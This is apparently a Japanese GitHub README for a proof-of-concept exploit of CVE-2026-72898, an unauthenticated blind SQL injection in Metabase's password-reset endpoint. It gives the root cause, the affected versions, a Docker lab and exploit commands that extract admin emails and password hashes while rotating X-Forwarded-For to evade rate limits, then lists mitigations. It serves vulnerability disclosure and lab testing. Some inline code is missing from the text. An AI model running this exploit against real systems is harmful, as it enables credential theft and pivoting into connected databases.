
Metabase用の認証なしブラインドSQLインジェクションエクスプロイト。パスワードリセットエンドポイントの生のSQLインジェクションを悪用し、時間ベースの手法でデータを抽出します。
★ CVE-2026-72898 Metabase /api/session/reset_password 未認証ブラインドSQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 は、Metabase における未認証SQLインジェクション(CVSS 10.0)であり、公開されている
POST /api/session/reset_passwordエンドポイント経由で到達可能です。 このエンドポイントは、リクエストボディを(失敗した)認証結果とマージします —(merge request (authenticate ...))— そのため、攻撃者が指定したuser-idフィールドは変更されずに残り、アプリケーションデータベースのユーザー検索t2/select-one :model/User :id user-idに整数検証なしで到達します。 Metabase は HoneySQL を使用してSQLを構築しており、その{:raw "..."}マップは生のSQLフラグメントとしてコンパイルされます(パラメータバインドなし)。したがって、 を として送信すると、任意のSQLがアプリケーションデータベースに注入されます。 このエンドポイントは常に を返すため、インジェクションはです。データは を使用したで回収されます(本番標準のPostgresアプリケーションDB)。悪用に成功すると、Metabase の管理者データ、接続されているすべてのデータソースの保存済み接続資格情報、およびそれらのデータベースへの完全なピボットが得られます。
user-id{"raw":"<SQL>"}400pg_sleep| カテゴリ | バージョン |
|---|---|
| 脆弱 | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| 修正済み | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 以降 |
pos-int? チェックが追加され、非整数の user-id はクエリ実行前に拒否されます脆弱な Metabase をビルドして実行します。Postgres アプリケーションデータベースを使用します(必須 — 時間ベースの手法には pg_sleep が必要であり、H2 にはありません)。初回セットアップは自動完了し、ログインページで起動します。起動には約40〜60秒かかります。
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| 前提条件 | このラボでの状態 |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres アプリケーションデータベース(pg_sleep を有効化) | イメージに同梱 |
/api/session/reset_password が未認証で到達可能 | 公開済み |
| IPごとのリセットスロットル(X-Forwarded-For のローテーションで回避) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
エクスプロイト metabase_exploit.py は、資格情報なしで、時間ベースのブラインドプリミティブを使用して、指定した任意の値を読み取ります。リクエストごとに新しいランダムな X-Forwarded-For を送信して、IPごとのレート制限を回避します(実際の攻撃と同様)。ターゲットは --extract "<SQL>" で指定します。
# デフォルト: 管理者メールを抽出
python3 metabase_exploit.py 172.17.0.2:3000
# 任意の値を抽出(任意のSQLスカラー式)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
オプション:
--check — インジェクションが悪用可能かどうかのみ確認(pg_sleep の時間差を表示)--extract "<SQL>" — 任意のスカラーSQL式(自動的にテキストにキャスト)--sleep 0.4 — TRUEビットごとの遅延(低速/リモートターゲットでは増加)POST /api/session/reset_password をブロックcore_session)を無効化し、管理者アカウントとAPIキーを確認し、接続されているすべてのデータソースの接続資格情報をローテーション(エンドポイントがインターネットから到達可能だった場合は、それらが露出したと想定)